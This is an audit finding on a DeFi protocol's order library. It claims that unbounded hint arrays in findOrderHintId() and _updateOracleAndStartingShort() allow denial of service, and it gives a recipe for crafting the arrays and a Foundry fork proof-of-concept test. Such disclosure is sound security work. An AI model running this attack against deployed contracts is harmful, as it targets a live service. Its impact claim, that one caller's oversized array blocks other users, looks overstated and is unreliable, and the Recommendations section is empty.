Summary
Various external functions like createLimitShort(), createAsk(), createBid() allow the user to provide arrays orderHintArray or shortHintArray as parameters which are never checked for duplicate elements or an upper size limit. All such functions eventually call findOrderHintId() or _updateOracleAndStartingShort() where a maliciously crafted large array will be looped in its entirety. This will lead to the protocol service being unavailable for other users (Denial of Service).
Vulnerability Details
The logic of findOrderHintId() is:
File: contracts/libraries/LibOrders.sol
927 function findOrderHintId(
928 mapping(address => mapping(uint16 => STypes.Order)) storage orders,
929 address asset,
930 MTypes.OrderHint[] memory orderHintArray
931 ) internal returns (uint16 hintId) {
932 @> for (uint256 i; i < orderHintArray.length; i++) {
933 MTypes.OrderHint memory orderHint = orderHintArray[i];
934 O hintOrderType = orders[asset][orderHint.hintId].orderType;
935 @> if (hintOrderType == O.Cancelled || hintOrderType == O.Matched) {
936 emit Events.FindOrderHintId(0);
937 @> continue;
938 } else if (
939 orders[asset][orderHint.hintId].creationTime == orderHint.creationTime
940 ) {
941 emit Events.FindOrderHintId(1);
942 return orderHint.hintId;
943 } else if (orders[asset][orderHint.hintId].prevOrderType == O.Matched) {
944
945 emit Events.FindOrderHintId(2);
946 return Constants.HEAD;
947 }
948 }
949 revert Errors.BadHintIdArray();
950 }
A malicious user can craft an orderHintArray which looks something like this:
Let arraySize = 100000000 : some large number
Create the array orderHintArray of size arraySize
Fill index 0 to arraySize-2 with any OrderHint which has orderType as Cancelled or Matched : this will cause the loop to continue on to the next iteration on L935-L937. There is no duplicate element check so you can just repeat the same element over & over again.
This should be enough to keep the loop going for a long period of time. But in case we want it to gracefully exit if & when it ends instead of reverting, then perform the next step.
Fill index arraySize-1 (the last element in the array) with a valid OrderHint so that the function exits with a return value either on L942 or L946.
Similar logic exists in _updateOracleAndStartingShort():
File: contracts/libraries/LibOrders.sol
812 function _updateOracleAndStartingShort(address asset, uint16[] memory shortHintArray)
813 private
814 {
815 AppStorage storage s = appStorage();
816 uint256 oraclePrice = LibOracle.getOraclePrice(asset);
817 uint256 savedPrice = asset.getPrice();
818 asset.setPriceAndTime(oraclePrice, getOffsetTime());
819 bool shortOrdersIsEmpty = s.shorts[asset][Constants.HEAD].nextId == Constants.TAIL;
820 if (shortOrdersIsEmpty) {
821 s.asset[asset].startingShortId = Constants.HEAD;
822 } else {
823 if (oraclePrice == savedPrice) {
824 return;
825 }
826 uint16 shortHintId;
827 @> for (uint256 i = 0; i < shortHintArray.length;) {
828 shortHintId = shortHintArray[i];
829 unchecked {
830 ++i;
831 }
832
833 {
834 O shortOrderType = s.shorts[asset][shortHintId].orderType;
835 @> if (
836 @> shortOrderType == O.Cancelled || shortOrderType == O.Matched
837 @> || shortOrderType == O.Uninitialized
838 @> ) {
839 @> continue;
840 }
841 }
842
843 uint80 shortPrice = s.shorts[asset][shortHintId].price;
844 uint16 prevId = s.shorts[asset][shortHintId].prevId;
845
846 bool startingShortWithinOracleRange = shortPrice
847 <= oraclePrice.mul(1.01 ether)
848 && s.shorts[asset][prevId].price >= oraclePrice;
849 bool isExactStartingShort = shortPrice >= oraclePrice
850 && s.shorts[asset][prevId].price < oraclePrice;
851 bool allShortUnderOraclePrice = shortPrice < oraclePrice
852 && s.shorts[asset][shortHintId].nextId == Constants.TAIL;
853
854 if (startingShortWithinOracleRange || isExactStartingShort) {
855
856 s.asset[asset].startingShortId = shortHintId;
857 return;
858 } else if (allShortUnderOraclePrice) {
859 s.asset[asset].startingShortId = Constants.HEAD;
860 return;
861 }
862 }
863
864 revert Errors.BadShortHint();
865 }
866 }
Here too, a malicious user can craft an shortHintArray which looks something like this:
Let arraySize = 99999999999 : some large number
Create the array shortHintArray of size arraySize
Fill index 0 to arraySize-2 with any uint16 (short id) which has orderType as Cancelled or Matched or Uninitialized: this will cause the loop to continue on to the next iteration on L835-L839. There is no duplicate element check so you can just repeat the same element over & over again. In fact, you can also keep them empty! This is because s.shorts[asset][short_id].orderType where short_id = 0 evaluates to O.Uninitialized or zero.
This should be enough to keep the loop going for a long period of time. But in case we want it to gracefully exit if & when it ends instead of reverting, then perform the next step.
Fill index arraySize-1 (the last element in the array) with a valid uint16 (any active short id which does not belong to the above 3 order types would do) so that the function exits with a return value either on L857 or L860.
Here's an example of such an attack using the external function createLimitShort(). Add the following test inside test/fork/EndToEndFork.t.sol and run via forge test --mt testFork_DoS_Attack -vv:
function testFork_DoS_Attack() public {
_setupBeforeDoS();
vm.startPrank(receiver);
MTypes.OrderHint[] memory orderHints = new MTypes.OrderHint[](1);
orderHints[0] = MTypes.OrderHint({hintId: 2, creationTime: 123});
uint16[] memory largeShortHints = new uint16[](99999);
largeShortHints[99998] = diamond.getShortIdAtOracle(_cusd);
diamond.createLimitShort(
_cusd,
currentPrice,
50_000 ether,
orderHints,
largeShortHints,
diamond.getAssetStruct(_cusd).initialMargin
);
vm.stopPrank();
}
function _setupBeforeDoS() internal {
uint16 cusdInitialMargin = diamond.getAssetStruct(_cusd).initialMargin;
vm.startPrank(sender);
assertEq(reth.balanceOf(_bridgeReth), 0);
diamond.depositEth{value: 500 ether}(_bridgeReth);
vm.stopPrank();
vm.startPrank(receiver);
assertEq(steth.balanceOf(_bridgeSteth), 0);
diamond.depositEth{value: 500 ether}(_bridgeSteth);
currentPrice = diamond.getOraclePriceT(_cusd);
MTypes.OrderHint[] memory orderHints = new MTypes.OrderHint[](1);
diamond.createLimitShort(
_cusd,
currentPrice * 3,
2_000 ether,
orderHints,
shortHints,
cusdInitialMargin
);
diamond.createBid(
_cusd, currentPrice * 2, 1_000 ether, false, orderHints, shortHints
);
vm.stopPrank();
diamond.setOracleTimeAndPrice(_cusd, currentPrice * 2);
}
If required, one can check the long loop entered inside _updateOracleAndStartingShort() by adding a console.log on the next line.
Impact
DoS attack makes the protocol service unavailable for other users.
Tools Used
Manual inspection.
Recommendations
